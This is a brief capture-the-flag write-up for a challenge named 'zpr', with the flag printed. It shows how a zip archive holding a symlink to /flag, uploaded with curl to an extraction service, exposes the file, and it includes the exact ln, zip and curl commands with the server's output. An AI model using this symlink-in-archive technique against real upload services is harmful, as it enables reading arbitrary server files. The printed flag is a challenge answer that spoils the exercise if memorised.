## zpr

Flag Proof: `ENO{Z1pF1L3s_C4N_B3_Dangerous_so_b3_c4r3ful!}`

Going to the first ip we are told that we can send a zipfile as a post request, and it’s content will be accessible to us.

Send me your zipfile as a POST request and I'll make them accessible to you ;-0.

So i remembered that i can include symlinks into zip files:

ln -s /flag test1.link
zip --symlink test1.zip test1.link

curl -F "[email protected]/test1.zip" <>
Found a file: /tmp/data/0c50fc55a1398f476fcb7fd8f371e137/b7e060ee2e3cb683722b14e2477d8bff.zip
Found a file: /tmp/data/0c50fc55a1398f476fcb7fd8f371e137/test1.link
Find your files at http://...:8088/0c50fc55a1398f476fcb7fd8f371e137/

So now, going to the other ip, to `0c50fc55a1398f476fcb7fd8f371e137/` we will see our files

Directory listing for /0c50fc55a1398f476fcb7fd8f371e137//
[email protected]

Now we can download the `[test.link](<http://test.link>)` file and we will get the flag: